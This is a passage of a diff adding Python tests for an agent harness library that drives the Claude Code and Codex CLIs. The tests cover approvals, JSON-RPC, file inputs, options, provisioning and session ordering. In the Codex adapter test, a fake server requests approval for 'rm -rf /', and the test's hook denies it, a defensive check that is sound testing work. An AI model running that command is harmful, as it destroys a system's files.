request.get("method"), request.get("id") + if rid is None: + continue + if method == "initialize": + result = { + "protocolVersion": request["params"].get( + "protocolVersion", "2025-06-18" + ), + "capabilities": {"tools": {}}, + "serverInfo": {"name": "secret", "version": "1.0"}, + } + elif method == "tools/list": + result = {"tools": [{ + "name": "secret_word", + "description": "Returns today's secret word.", + "inputSchema": {"type": "object", "properties": {}}, + }]} + elif method == "tools/call": + result = {"content": [{"type": "text", "text": "MANGO"}]} + else: + error = {"code": -32601, "message": method} + send({"jsonrpc": "2.0", "id": rid, "error": error}) + continue + send({"jsonrpc": "2.0", "id": rid, "result": result}) +""" +"""A dependency-free stdio MCP server with one tool, `secret_word`.""" diff --git a/tests/harnesses/experimental/test_claude_adapter.py b/tests/harnesses/experimental/test_claude_adapter.py new file mode 100644 index 00000000..19f68e9f --- /dev/null +++ b/tests/harnesses/experimental/test_claude_adapter.py @@ -0,0 +1,117 @@ +"""Pieces of the claude adapter that need no CLI.""" + +from __future__ import annotations + +import json +import os +import subprocess +from pathlib import Path +from typing import Any + +import pytest + +pytest.importorskip("claude_agent_sdk") + +from ai.harnesses.experimental._adapters import claude + +from . import fakes + +DEAD_PID = 2**22 - 1 + + +def _started(pid: int) -> str: + out = subprocess.run( + ["ps", "-o", "lstart=", "-p", str(pid)], + capture_output=True, + text=True, + env={**os.environ, "TZ": "UTC", "LC_ALL": "C"}, + check=True, + ) + return out.stdout.strip() + + +async def test_running_cli_sessions_are_found_in_one_command( + tmp_path: Path, +) -> None: + """H12: one command, however many records the CLI left behind; a record + whose process is gone, or whose pid now names a later process, is not a + holder.""" + config = tmp_path / "claude" + (config / "sessions").mkdir(parents=True) + me = os.getpid() + records = { + "live": {"pid": me, "sessionId": "live", "procStart": _started(me)}, + "dead": {"pid": DEAD_PID, "sessionId": "dead", "procStart": "x"}, + "reused": {"pid": me, "sessionId": "reused", "procStart": "y"}, + } + for name, record in records.items(): + (config / "sessions" / f"{name}.json").write_text(json.dumps(record)) + (config / "sessions" / "junk.json").write_text("{not json") + + async with fakes.LockWorkspace(tmp_path) as ws: + adapter = claude.ClaudeAdapter() + adapter._workspace = ws + adapter._config_dir = str(config) + ws.execs.clear() + assert await adapter._cli_sessions() == {"live": me} + assert len(ws.execs) + len(ws.reads) == 1, (ws.execs, ws.reads) + + +async def test_no_session_records_is_nobody_running(tmp_path: Path) -> None: + async with fakes.LockWorkspace(tmp_path) as ws: + adapter = claude.ClaudeAdapter() + adapter._workspace = ws + adapter._config_dir = str(tmp_path / "nowhere") + assert await adapter._cli_sessions() == {} + + +async def test_listing_stored_sessions_is_a_fixed_number_of_round_trips( + tmp_path: Path, +) -> None: + """H12: the SDK used to load every transcript in turn to list them.""" + import uuid + + import claude_agent_sdk + + from ai.harnesses.experimental._adapters import claude_store + + class SlowStore(claude_store.WorkspaceSessionStore): + # The SDK's own fallback: list, then load each transcript. + list_session_summaries = ( + claude_agent_sdk.SessionStore.list_session_summaries + ) + + async with fakes.LockWorkspace(tmp_path) as ws: + key = claude_agent_sdk.project_key_for_directory(ws.path) + project = tmp_path / "cfg" / "projects" / key + project.mkdir(parents=True) + for n in range(6): + sid = str(uuid.uuid4()) + record = { + "type": "user", + "uuid": str(uuid.uuid4()), + "parentUuid": None, + "sessionId": sid, + "cwd": ws.path, + "timestamp": "2026-10-02T00:00:00Z", + "message": {"role": "user", "content": f"task number {n}"}, + } + (project / f"{sid}.jsonl").write_text(json.dumps(record) + "\n") + store: Any = claude_store.WorkspaceSessionStore + fast = store(ws, str(tmp_path / "cfg")) + slow: Any = SlowStore + slow = slow(ws, str(tmp_path / "cfg")) + + ws.execs.clear() + ws.reads.clear() + quick = await claude_agent_sdk.list_sessions_from_store(fast, ws.path) + assert len(ws.execs) + len(ws.reads) <= 2, (ws.execs, ws.reads) + + def shape(infos: list[Any]) -> list[tuple[Any, ...]]: + return sorted( + (i.session_id, i.first_prompt, i.summary) for i in infos + ) + + full = await claude_agent_sdk.list_sessions_from_store(slow, ws.path) + assert len(quick) == 6 + assert shape(quick) == shape(full) diff --git a/tests/harnesses/experimental/test_codex_adapter.py b/tests/harnesses/experimental/test_codex_adapter.py new file mode 100644 index 00000000..75b26636 --- /dev/null +++ b/tests/harnesses/experimental/test_codex_adapter.py @@ -0,0 +1,189 @@ +"""The codex adapter against a scripted app-server, offline.""" + +from __future__ import annotations + +import asyncio +import time +from typing import Any + +import pytest + +from ai.harnesses.experimental import Allow, ApprovalContext, Deny +from ai.harnesses.experimental._adapters import codex, jsonrpc +from ai.harnesses.experimental.errors import UnsupportedError +from ai.types import events +from ai.types import messages as m + +from . import fakes + +THREAD = "019a0000-0000-7000-8000-000000000000" + + +class AppServer: + """Answers like `codex app-server` for one turn that asks to run a + command, and ends the turn when it is interrupted.""" + + def __init__(self) -> None: + self.process = fakes.FakeProcess(self.answer) + self.interrupted = False + + def answer(self, message: dict[str, Any]) -> Any: + method = message.get("method") + if method == "turn/start": + self.process.server_says( + {"method": "turn/started", "params": {"threadId": THREAD}} + ) + self.process.server_says( + { + "id": 500, + "method": "item/commandExecution/requestApproval", + "params": { + "threadId": THREAD, + "turnId": "T1", + "itemId": "i1", + "command": "rm -rf /", + }, + } + ) + return {"turn": {"id": "T1"}} + if method == "turn/interrupt": + self.interrupted = True + self.process.server_says( + { + "method": "turn/completed", + "params": { + "threadId": THREAD, + "turn": {"id": "T1", "status": "interrupted"}, + }, + } + ) + return {} + if "method" in message and "id" in message: + return {} + return None + + +def _adapter(server: Any, approve: Any) -> codex.CodexAdapter: + adapter = codex.CodexAdapter() + adapter.approve = approve + peer = jsonrpc.JsonRpcPeer(server.process, harness="codex") + adapter._workspace = fakes.FakeWorkspace() + adapter._process = server.process + adapter._peer = peer + peer.start( + adapter._on_notify, adapter._on_request, on_crash=adapter._on_crash + ) + return adapter + + +async def _close(adapter: codex.CodexAdapter) -> None: + if adapter._peer is not None: + await adapter._peer.close() + + +async def test_deny_and_stop_ends_the_turn_at_once() -> None: + """H3: measured 30s before, waiting on a reply the reader could not read.""" + server = AppServer() + + async def deny(ctx: ApprovalContext) -> Deny: + return Deny("no", stop=True) + + adapter = _adapter(server, deny) + started = time.monotonic() + seen: list[Any] = [] + async with asyncio.timeout(5): + async for event in adapter.turn(THREAD, [m.TextPart(text="clean up")]): + seen.append(event) + assert time.monotonic() - started < 1 + assert server.interrupted + assert isinstance(seen[-1], events.StreamEnd) + assert seen[-1].finish_reason == "cancelled" + declined = [ + m + for m in server.process.written + if m.get("id") == 500 and "result" in m + ] + assert declined == [ + {"jsonrpc": "2.0", "id": 500, "result": {"decision": "decline"}} + ] + await _close(adapter) + + +async def test_a_slow_approval_does_not_block_other_calls() -> None: + """H4: while a person decides, the rest of the connection still works.""" + server = AppServer() + deciding = asyncio.Event() + decide = asyncio.Event() + + async def slow(ctx: ApprovalContext) -> Deny: + deciding.set() + await decide.wait() + return Deny("no", stop=True) + + adapter = _adapter(server, slow) + turn = adapter.turn(THREAD, [m.TextPart(text="clean up")]) + reader = asyncio.ensure_future(_drain(turn)) + await asyncio.wait_for(deciding.wait(), 2) + # A call meanwhile, e.g. an approval hook reading the history. + assert await adapter._rpc().call("thread/read", {}, timeout=1) == {} + decide.set() + await asyncio.wait_for(reader, 2) + await _close(adapter) + + +async def _drain(turn: Any) -> None: + async for _ in turn: + pass + + +class TwoThreads: + """An app-server that starts a turn per thread and leaves the rest to + the test: it pushes approvals and completions by hand.""" + + def __init__(self) -> None: + self.process = fakes.FakeProcess(self.answer) + + def answer(self, message: dict[str, Any]) -> Any: + if message.get("method") == "turn/start": + return {"turn": {"id": "T-" + message["params"]["threadId"]}} + if "method" in message and "id" in message: + return {} + return None + + def complete(self, thread: str) -> None: + self.process.server_says( + { + "method": "turn/completed", + "params": { + "threadId": thread, + "turn": {"id": "T-" + thread, "status": "completed"}, + }, + } + ) + + +async def test_an_unsupported_decision_fails_only_its_own_turn() -> None: + """H7: one parked error per adapter, cleared by whichever turn started + next, raised by whichever turn ended first.""" + server = TwoThreads() + + async def approve(ctx: ApprovalContext) -> Allow: + return Allow(input={"command": "ls"}) # codex cannot rewrite + + adapter = _adapter(server, approve) + a = adapter.turn("A", [m.TextPart(text="one")]) + assert isinstance(await anext(a), events.StreamStart) + await adapter._decide( + "item/commandExecution/requestApproval", + {"threadId": "A", "turnId": "T-A", "itemId": "i1"}, + ) + b = adapter.turn("B", [m.TextPart(text="two")]) + assert isinstance(await anext(b), events.StreamStart) # B starts after + server.complete("B") + ended = [event async for event in b] + assert isinstance(ended[-1], events.StreamEnd), "B is not A's failure" + server.complete("A") + with pytest.raises(UnsupportedError): + async for _ in a: + pass + await _close(adapter) diff --git a/tests/harnesses/experimental/test_input.py b/tests/harnesses/experimental/test_input.py new file mode 100644 index 00000000..6b173555 --- /dev/null +++ b/tests/harnesses/experimental/test_input.py @@ -0,0 +1,111 @@ +"""Prompts with files: checked before anything runs, carried as each CLI +takes them.""" + +from __future__ import annotations + +import base64 + +import pydantic +import pytest + +from ai.harnesses.experimental import _capabilities, _input +from ai.harnesses.experimental._adapters import codex +from ai.harnesses.experimental.errors import UnsupportedError +from ai.types import messages as m + +from . import fakes + +PNG = b"\x89PNG\r\n\x1a\nfake" +IMAGE = m.FilePart(data=PNG, media_type="image/png") +PDF = m.FilePart(data=b"%PDF-1.4 fake", media_type="application/pdf") +NOTE = m.FilePart(data=b"remember the milk", media_type="text/plain") +AUDIO = m.FilePart(data=b"RIFF", media_type="audio/wav") + + +async def test_a_prompt_with_files_reaches_the_adapter_and_the_history() -> ( + None +): + harness, adapter = await fakes.open_harness() + session = harness.session() + result = await session.run(["what is this?", IMAGE]) + text, image = adapter.prompts[0] + assert isinstance(text, m.TextPart) and text.text == "what is this?" + assert image == IMAGE + assert result.messages[0].parts[1] == IMAGE + assert result.prompt_sent == "what is this?" + + +@pytest.mark.parametrize("part", [AUDIO, PDF]) +async def test_a_file_the_harness_cannot_take_is_refused_up_front( + part: m.FilePart, +) -> None: + caps = _capabilities.Capabilities(images=True, documents=False) + harness, adapter = await fakes.open_harness( + fakes.FakeAdapter(capabilities=caps) + ) + session = harness.session() + with pytest.raises(UnsupportedError, match=part.media_type): + session.stream(["read this", part]) + assert adapter.prompts == [] and session.messages == [] + + +async def test_text_files_are_taken_everywhere() -> None: + caps = _capabilities.Capabilities() # no images, no documents + harness, adapter = await fakes.open_harness( + fakes.FakeAdapter(capabilities=caps) + ) + await harness.session().run(["summarize", NOTE]) + assert adapter.prompts[0][1] == NOTE + + +async def test_structured_output_adds_its_schema_to_a_file_prompt() -> None: + class Answer(pydantic.BaseModel): + word: str + + harness, adapter = await fakes.open_harness( + fakes.FakeAdapter(lambda prompt: fakes.reply('{"word": "red"}')) + ) + result = await harness.session().run([IMAGE], output_type=Answer, retries=0) + assert result.output == Answer(word="red") + sent = adapter.prompts[0] + assert sent[0] == IMAGE + assert isinstance(sent[1], m.TextPart) and "schema" in sent[1].text + + +@pytest.mark.parametrize( + "data", + [ + PNG, + base64.b64encode(PNG).decode(), + "data:image/png;base64," + base64.b64encode(PNG).decode(), + ], +) +async def test_file_bytes_come_from_any_spelling(data: str | bytes) -> None: + part = m.FilePart(data=data, media_type="image/png") + assert await _input.data(part) == PNG + + +async def test_a_text_file_is_inlined_with_its_name() -> None: + part = m.FilePart(data=b"hi", media_type="text/plain", filename="a.txt") + assert await _input.as_text(part) == "\nhi\n" + + +async def test_codex_gets_images_as_data_urls_and_text_inline() -> None: + items = await codex._input_items([m.TextPart(text="look"), IMAGE, NOTE]) + assert items[0] == {"type": "text", "text": "look"} + assert items[1] == { + "type": "image", + "url": "data:image/png;base64," + base64.b64encode(PNG).decode(), + } + assert ( + items[2]["type"] == "text" and "remember the milk" in items[2]["text"] + ) + + +async def test_claude_gets_base64_blocks() -> None: + claude = pytest.importorskip("ai.harnesses.experimental._adapters.claude") + assert await claude._content([m.TextPart(text="only text")]) == "only text" + blocks = await claude._content([m.TextPart(text="look"), IMAGE, PDF]) + assert [b["type"] for b in blocks] == ["text", "image", "document"] + assert blocks[1]["source"]["data"] == base64.b64encode(PNG).decode() + assert blocks[2]["source"]["media_type"] == "application/pdf" diff --git a/tests/harnesses/experimental/test_jsonrpc.py b/tests/harnesses/experimental/test_jsonrpc.py new file mode 100644 index 00000000..5c54ae62 --- /dev/null +++ b/tests/harnesses/experimental/test_jsonrpc.py @@ -0,0 +1,144 @@ +"""The JSON-RPC peer codex is driven over, offline.""" + +from __future__ import annotations + +import asyncio +import time +from typing import Any + +import pytest + +from ai.harnesses.experimental import errors +from ai.harnesses.experimental._adapters import jsonrpc + +from . import fakes + + +def _peer( + process: fakes.FakeProcess, + on_request: Any = None, + on_notify: Any = None, +) -> jsonrpc.JsonRpcPeer: + async def no_notify(method: str, params: dict[str, Any]) -> None: + pass + + async def no_request( + request_id: Any, method: str, params: dict[str, Any] + ) -> None: + pass + + peer = jsonrpc.JsonRpcPeer(process, harness="test") + peer.start(on_notify or no_notify, on_request or no_request) + return peer + + +async def test_a_call_gets_its_answer() -> None: + process = fakes.FakeProcess(lambda message: {"echo": message["method"]}) + peer = _peer(process) + assert await peer.call("ping", timeout=1) == {"echo": "ping"} + await peer.close() + + +async def test_a_call_made_while_answering_a_request_is_answered() -> None: + """H3: answering a server request must not stop the peer reading.""" + process = fakes.FakeProcess() + took: list[float] = [] + done = asyncio.Event() + peer: jsonrpc.JsonRpcPeer + + async def on_request( + request_id: Any, method: str, params: dict[str, Any] + ) -> None: + started = time.monotonic() + await peer.respond(request_id, {"decision": "decline"}) + await peer.call("turn/interrupt", {}, timeout=2) + took.append(time.monotonic() - started) + done.set() + + peer = _peer(process, on_request=on_request) + process.server_says({"id": 99, "method": "approval", "params": {}}) + await asyncio.wait_for(done.wait(), 3) + assert took[0] < 0.5 + await peer.close() + + +async def test_notifications_flow_while_a_request_is_pending() -> None: + """H4: a slow answer (a human approving) does not freeze the stream.""" + process = fakes.FakeProcess() + release = asyncio.Event() + seen: list[str] = [] + + async def on_request( + request_id: Any, method: str, params: dict[str, Any] + ) -> None: + await release.wait() + + async def on_notify(method: str, params: dict[str, Any]) -> None: + seen.append(method) + + peer = _peer(process, on_request=on_request, on_notify=on_notify) + process.server_says({"id": 1, "method": "approval", "params": {}}) + process.server_says({"method": "item/agentMessage/delta", "params": {}}) + # And a call from someone else meanwhile is answered. + assert await peer.call("thread/read", timeout=1) == {} + for _ in range(50): + if seen: + break + await asyncio.sleep(0.01) + assert seen == ["item/agentMessage/delta"] + release.set() + await peer.close() + + +async def test_notifications_keep_their_order() -> None: + process = fakes.FakeProcess() + seen: list[int] = [] + + async def on_notify(method: str, params: dict[str, Any]) -> None: + await asyncio.sleep(0) + seen.append(params["n"]) + + peer = _peer(process, on_notify=on_notify) + for n in range(20): + process.server_says({"method": "n", "params": {"n": n}}) + await peer.call("ping", timeout=1) + assert seen == list(range(20)) + await peer.close() + + +async def test_close_cancels_requests_still_being_answered() -> None: + process = fakes.FakeProcess() + cancelled = asyncio.Event() + started = asyncio.Event() + + async def on_request( + request_id: Any, method: str, params: dict[str, Any] + ) -> None: + started.set() + try: + await asyncio.Event().wait() + except asyncio.CancelledError: + cancelled.set() + raise + + peer = _peer(process, on_request=on_request) + process.server_says({"id": 1, "method": "approval", "params": {}}) + await asyncio.wait_for(started.wait(), 1) + await peer.close() + assert cancelled.is_set() + + +async def test_a_failing_request_handler_does_not_kill_the_peer() -> None: + process = fakes.FakeProcess() + + async def on_request( + request_id: Any, method: str, params: dict[str, Any] + ) -> None: + raise ValueError("bug in the handler") + + peer = _peer(process, on_request=on_request) + process.server_says({"id": 1, "method": "approval", "params": {}}) + assert await peer.call("ping", timeout=1) == {} + await peer.close() + with pytest.raises(errors.AgentCrashedError): + await peer.call("ping", timeout=1) diff --git a/tests/harnesses/experimental/test_options.py b/tests/harnesses/experimental/test_options.py new file mode 100644 index 00000000..1413a9cc --- /dev/null +++ b/tests/harnesses/experimental/test_options.py @@ -0,0 +1,136 @@ +"""Day-to-day options reach each CLI in its own spelling.""" + +from __future__ import annotations + +import inspect +from typing import Any + +import pytest + +from ai.harnesses.experimental import Handle, _factories +from ai.harnesses.experimental._adapters import codex +from ai.workspaces.experimental._base import WorkspaceCoords + +from . import fakes + + +def test_mcp_servers_become_codex_config() -> None: + assert codex.mcp_config( + { + "files": { + "command": "python3", + "args": ["server.py"], + "env": {"TOKEN": "x"}, + }, + "web": {"type": "http", "url": "https://mcp.example/mcp"}, + } + ) == { + "mcp_servers.files.command": "python3", + "mcp_servers.files.args": ["server.py"], + "mcp_servers.files.env.TOKEN": "x", + "mcp_servers.web.url": "https://mcp.example/mcp", + } + + +def test_codex_instructions_go_on_every_thread() -> None: + adapter = codex.CodexAdapter(instructions="be brief") + adapter._sandbox = "danger-full-access" + assert adapter._thread_params()["developerInstructions"] == "be brief" + assert ( + codex.CodexAdapter()._thread_params().get("developerInstructions") + is None + ) + + +def test_claude_tui_carries_the_options() -> None: + claude = pytest.importorskip("ai.harnesses.experimental._adapters.claude") + adapter = claude.ClaudeAdapter( + instructions="be brief", + mcp_servers={"files": {"command": "python3", "args": ["s.py"]}}, + tools=["Read"], + disallowed_tools=["Bash"], + ) + adapter._workspace = fakes.FakeWorkspace() + argv, _, _ = adapter.tui_launch(None) + assert argv[argv.index("--append-system-prompt") + 1] == "be brief" + assert "mcpServers" in argv[argv.index("--mcp-config") + 1] + assert argv[argv.index("--tools") + 1] == "Read" + assert argv[argv.index("--disallowedTools") + 1] == "Bash" + + +def test_a_handle_records_options_but_never_mcp_servers() -> None: + pytest.importorskip("claude_agent_sdk") + harness = _factories.claude_code( + workspace=fakes.FakeWorkspace(), + instructions="be brief", + tools=["Read"], + max_turns=3, + mcp_servers={"s": {"command": "x", "env": {"TOKEN": "secret"}}}, + ) + assert harness.options["instructions"] == "be brief" + assert harness.options["max_turns"] == 3 + assert "secret" not in repr(harness.options) + + +async def test_harness_from_rebuilds_with_the_recorded_options( + monkeypatch: pytest.MonkeyPatch, +) -> None: + built: dict[str, object] = {} + + def fake_builder( + *, + workspace: object, + approve: object = None, + approval_timeout: float = 1, + instructions: str | None = None, + model: str | None = None, + mcp_servers: object = None, + ) -> object: + built.update(instructions=instructions, model=model, mcp=mcp_servers) + raise RuntimeError("stop here") + + monkeypatch.setitem(_factories.BUILDERS, "fake", fake_builder) + handle = Handle( + kind="fake", + session_id="s1", + workspace=WorkspaceCoords(provider="local", location="/tmp"), + options={"instructions": "be brief", "model": None, "unknown": 1}, + ) + with pytest.raises(RuntimeError, match="stop here"): + async with _factories.harness_from( + handle, mcp_servers={"s": {"command": "x"}} + ): + pass + assert built == { + "instructions": "be brief", + "model": None, + "mcp": {"s": {"command": "x"}}, + } + + +@pytest.mark.parametrize( + "option", [{"tools": ["Read"]}, {"disallowed_tools": []}, {"max_turns": 3}] +) +def test_codex_takes_claude_only_options_but_refuses_them( + option: dict[str, Any], +) -> None: + """Every `claude_code()` argument is a `codex()` argument, so swapping + the two is one word and a dict of both factories keeps its type; codex + has no equivalent, so a value is refused, never ignored.""" + from ai.harnesses.experimental import codex as make_codex + from ai.harnesses.experimental.errors import UnsupportedError + + with pytest.raises(UnsupportedError, match=next(iter(option))): + make_codex(workspace=fakes.FakeWorkspace(), **option) + + +def test_a_dict_of_both_factories_keeps_a_callable_type() -> None: + """Measured: adding claude-only options to claude alone made + `{"claude-code": claude_code, "codex": codex}` a dict of bare + `function` to mypy, and every call through it an error (afk's + HARNESSES, examples/harnesses/tui.py).""" + from ai.harnesses.experimental import claude_code, codex + + assert set(inspect.signature(claude_code).parameters) <= set( + inspect.signature(codex).parameters + ) diff --git a/tests/harnesses/experimental/test_provision.py b/tests/harnesses/experimental/test_provision.py new file mode 100644 index 00000000..fb6f8390 --- /dev/null +++ b/tests/harnesses/experimental/test_provision.py @@ -0,0 +1,101 @@ +"""Which CLI a sandbox gets: the latest, without pulling it out from under +an agent that is still running there.""" + +from __future__ import annotations + +from typing import Any + +import pytest + +from ai.harnesses.experimental._adapters import base +from ai.workspaces.experimental._base import ExecResult + +from . import fakes + + +class Machine(fakes.FakeWorkspace): + def __init__( + self, + *, + owner: str, + installed: str | None, + latest: str | None, + running: list[str] | None = None, + ) -> None: + super().__init__() + self.owner = owner + self.installed = installed + self.latest = latest + self.running = running or [] + self.commands: list[list[str]] = [] + + async def exec( + self, argv: Any, *, env: Any = None, timeout: float | None = None + ) -> ExecResult: + argv = list(argv) + self.commands.append(argv) + if argv[1:] == ["--version"]: + if self.installed is None: + return ExecResult(exit_code=127) + return ExecResult(exit_code=0, stdout=f"{self.installed} (Tool)\n") + if argv[:2] == ["npm", "view"]: + if self.latest is None: + return ExecResult(exit_code=1) + return ExecResult(exit_code=0, stdout=self.latest + "\n") + if argv[:2] == ["npm", "install"]: + self.installed = self.latest or "9.9.9" + return ExecResult(exit_code=0) + if argv[0] == "ps": + lines = [ + f"{100 + i} Fri Oct 2 16:20:16 2026 {cmd}" + for i, cmd in enumerate(self.running) + ] + return ExecResult(exit_code=0, stdout="\n".join(lines)) + raise AssertionError(argv) + + @property + def installs(self) -> list[list[str]]: + return [c for c in self.commands if c[:2] == ["npm", "install"]] + + +async def _provision(machine: Machine) -> ExecResult: + return await base.provision(machine, "claude", "@anthropic-ai/claude-code") + + +async def test_your_own_machine_is_only_probed() -> None: + machine = Machine(owner="user", installed=None, latest="2.0.0") + assert (await _provision(machine)).exit_code == 127 + assert machine.commands == [["claude", "--version"]] + + +@pytest.mark.parametrize("installed", [None, "1.9.0"]) +async def test_a_sandbox_gets_the_latest(installed: str | None) -> None: + machine = Machine(owner="provider", installed=installed, latest="2.0.0") + probe = await _provision(machine) + assert machine.installs == [ + ["npm", "install", "-g", "@anthropic-ai/claude-code@latest"] + ] + assert "2.0.0" in probe.stdout + + +async def test_the_latest_already_is_left_alone() -> None: + machine = Machine(owner="provider", installed="2.0.0", latest="2.0.0") + await _provision(machine) + assert machine.installs == [] + + +async def test_a_running_cli_is_not_upgraded_under_it() -> None: + machine = Machine( + owner="provider", + installed="1.9.0", + latest="2.0.0", + running=["/usr/bin/node /usr/local/bin/claude --resume abc"], + ) + await _provision(machine) + assert machine.installs == [] + + +async def test_no_registry_answer_keeps_what_is_there() -> None: + machine = Machine(owner="provider", installed="1.9.0", latest=None) + await _provision(machine) + assert machine.installs == [] diff --git a/tests/harnesses/experimental/test_session.py b/tests/harnesses/experimental/test_session.py new file mode 100644 index 00000000..195210b7 --- /dev/null +++ b/tests/harnesses/experimental/test_session.py @@ -0,0 +1,485 @@ +"""The session state machine, offline: ordering, stop, abandoned turns. + +Driven by `fakes.FakeAdapter`, so every case runs in milliseconds and +without a CLI. The e2e suite proves the same contract against real agents. +""" + +from __future__ import annotations + +import asyncio +import warnings +from typing import Any + +import pytest + +from ai.harnesses.experimental import _session, errors +from ai.types import events +from ai.types import messages as m + +from . import fakes + + +def roles(messages: list[m.Message]) -> list[str]: + return [message.role for message in messages] + + +def kinds(message: m.Message) -> list[str]: + return [part.kind for part in message.parts] + + +# -- plain turns --------------------------------------------------------------- + + +async def test_a_plain_turn_settles_with_its_text() -> None: + harness, _ = await fakes.open_harness() + result = await harness.session().run("hello") + assert result.text == "hello" + assert result.finish_reason == "stop" + assert roles(result.messages) == ["user", "assistant"] + + +async def test_turns_accumulate_in_one_session() -> None: + harness, _ = await fakes.open_harness() + session = harness.session() + await session.run("one") + result = await session.run("two") + assert roles(result.messages) == ["user", "assistant", "user", "assistant"] + assert result.text == "two" + + +# -- H1: message order ------------------------------------------------------- + + +def _tool_turn(prompt: str) -> list[fakes.Step]: + return [ + events.StreamStart(), + *fakes.text("I'll run it.", block="a"), + *fakes.tool("c1"), + *fakes.text("done", block="b"), + ] + + +async def test_a_tool_call_comes_before_its_result() -> None: + harness, _ = await fakes.open_harness(fakes.FakeAdapter(_tool_turn)) + result = await harness.session().run("go") + assert roles(result.messages) == ["user", "assistant", "tool", "assistant"] + first, tool, last = result.messages[1:] + assert kinds(first) == ["text", "tool_call"] + assert isinstance(first.parts[1], m.ToolCallPart) + assert first.parts[1].tool_args == "{}" + assert isinstance(tool.parts[0], m.ToolResultPart) + assert tool.parts[0].tool_call_id == "c1" + assert kinds(last) == ["text"] + assert result.text == "done", "the answer, not the narration" + + +async def test_two_tool_rounds_alternate() -> None: + def script(prompt: str) -> list[fakes.Step]: + return [ + events.StreamStart(), + *fakes.tool("c1"), + *fakes.tool("c2"), + *fakes.text("done"), + ] + + harness, _ = await fakes.open_harness(fakes.FakeAdapter(script)) + result = await harness.session().run("go") + assert roles(result.messages) == [ + "user", + "assistant", + "tool", + "assistant", + "tool", + "assistant", + ] + ids = [message.id for message in result.messages] + assert len(set(ids)) == len(ids) + + +async def test_parallel_calls_share_one_assistant_message() -> None: + def script(prompt: str) -> list[fakes.Step]: + one, two = fakes.tool("c1"), fakes.tool("c2") + # Both calls first, then both results — how claude reports a turn + # that asked for two tools at once. + return [events.StreamStart(), *one[:3], *two[:3], one[3], two[3]] + + harness, _ = await fakes.open_harness(fakes.FakeAdapter(script)) + result = await harness.session().run("go") + assert roles(result.messages) == ["user", "assistant", "tool", "tool"] + assert kinds(result.messages[1]) == ["tool_call", "tool_call"] + + +async def test_history_mid_turn_already_has_the_call() -> None: + """What an approval hook sees: the call it is asked about is in history.""" + seen: list[list[str]] = [] + harness: Any = None + + def script(prompt: str) -> list[fakes.Step]: + async def look() -> None: + sid = next(iter(harness._sessions)) + seen.append(roles(harness._history_of(sid))) + + steps = fakes.tool("c1") + return [events.StreamStart(), *steps[:3], fakes.Run(look), steps[3]] + + harness, _ = await fakes.open_harness(fakes.FakeAdapter(script)) + await harness.session().run("go") + assert seen == [["user", "assistant"]] + + +async def test_a_turn_stopped_mid_tool_has_no_orphan_result() -> None: + pause = fakes.Pause() + + def script(prompt: str) -> list[fakes.Step]: + steps = fakes.tool("c1") + return [events.StreamStart(), *steps[:3], pause, steps[3]] + + harness, _ = await fakes.open_harness(fakes.FakeAdapter(script)) + session = harness.session() + turn = session.stream("go") + async for event in turn: + if isinstance(event, events.ToolEnd): + await session.stop() + assert turn.result.cancelled + assert roles(turn.result.messages) == ["user", "assistant"] + assert kinds(turn.result.messages[1]) == ["tool_call"] + + +async def test_a_steer_lands_where_it_was_sent() -> None: + session: Any = None + + async def steer() -> None: + await session.steer("smaller, please") + + def script(prompt: str) -> list[fakes.Step]: + return [ + events.StreamStart(), + *fakes.text("before", block="a"), + fakes.Run(steer), + *fakes.text("after", block="b"), + ] + + harness, _ = await fakes.open_harness(fakes.FakeAdapter(script)) + session = harness.session() + result = await session.run("go") + assert roles(result.messages) == ["user", "assistant", "user", "assistant"] + steered = result.messages[2].parts[0] + assert isinstance(steered, m.TextPart) + assert steered.text == "smaller, please" + + +async def test_the_answer_is_the_adapters_final_message() -> None: + """Codex streams its preamble but leaves it out of the final message; + `text` follows the adapter, history keeps what was streamed.""" + + def script(prompt: str) -> list[fakes.Step]: + return [ + events.StreamStart(), + *fakes.text("Let me think. ", block="a"), + *fakes.text("42", block="b"), + events.StreamEnd( + message=m.Message( + role="assistant", parts=[m.TextPart(text="42")] + ), + finish_reason="stop", + ), + ] + + harness, _ = await fakes.open_harness(fakes.FakeAdapter(script)) + result = await harness.session().run("go") + assert result.text == "42" + assert kinds(result.messages[1]) == ["text", "text"] + + +async def test_an_unstreamed_final_message_still_lands_in_history() -> None: + def script(prompt: str) -> list[fakes.Step]: + return [ + events.StreamStart(), + events.StreamEnd( + message=m.Message( + role="assistant", parts=[m.TextPart(text="whole")] + ), + finish_reason="stop", + ), + ] + + harness, _ = await fakes.open_harness(fakes.FakeAdapter(script)) + result = await harness.session().run("go") + assert result.text == "whole" + assert roles(result.messages) == ["user", "assistant"] + + +async def test_provider_metadata_of_the_final_message_is_kept() -> None: + def script(prompt: str) -> list[fakes.Step]: + return [ + events.StreamStart(), + *fakes.text("hi"), + events.StreamEnd( + message=m.Message( + role="assistant", + parts=[m.TextPart(text="hi")], + provider_metadata={"x": {"y": 1}}, + ), + finish_reason="stop", + ), + ] + + harness, _ = await fakes.open_harness(fakes.FakeAdapter(script)) + result = await harness.session().run("go") + assert result.messages[-1].provider_metadata == {"x": {"y": 1}} + + +# -- H2: stop from anywhere --------------------------------------------------- + + +def _paused(pause: fakes.Pause) -> Any: + def script(prompt: str) -> list[fakes.Step]: + return [events.StreamStart(), *fakes.text("partial"), pause] + + return script + + +async def test_stop_from_another_task_settles_the_turn() -> None: + pause = fakes.Pause() + harness, adapter = await fakes.open_harness( + fakes.FakeAdapter(_paused(pause)) + ) + session = harness.session() + turn = session.stream("go") + + async def consume() -> None: + async for _ in turn: + pass + + task = asyncio.create_task(consume()) + await pause.reached.wait() + await session.stop() + assert turn.settled, "stop returns once the turn has settled" + assert turn.result.cancelled + assert turn.result.text == "partial" + await asyncio.wait_for(task, 1) + assert adapter.stops == [session.session_id] + + +async def test_stop_inside_the_loop_body_still_works() -> None: + pause = fakes.Pause() + harness, adapter = await fakes.open_harness( + fakes.FakeAdapter(_paused(pause)) + ) + session = harness.session() + turn = session.stream("go") + async for event in turn: + if isinstance(event, events.TextDelta): + await session.stop() + assert turn.result.cancelled + assert adapter.stops == [session.session_id] + + +async def test_stop_without_a_turn_does_nothing() -> None: + harness, adapter = await fakes.open_harness() + session = harness.session() + await session.stop() + await session.run("hi") + await session.stop() + assert adapter.stops == [] + + +async def test_stop_gives_up_on_an_adapter_that_never_ends( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setattr(_session, "STOP_TIMEOUT", 0.2) + pause = fakes.Pause() + harness, _ = await fakes.open_harness( + fakes.FakeAdapter(_paused(pause), honors_stop=False) + ) + session = harness.session() + turn = session.stream("go") + + async def 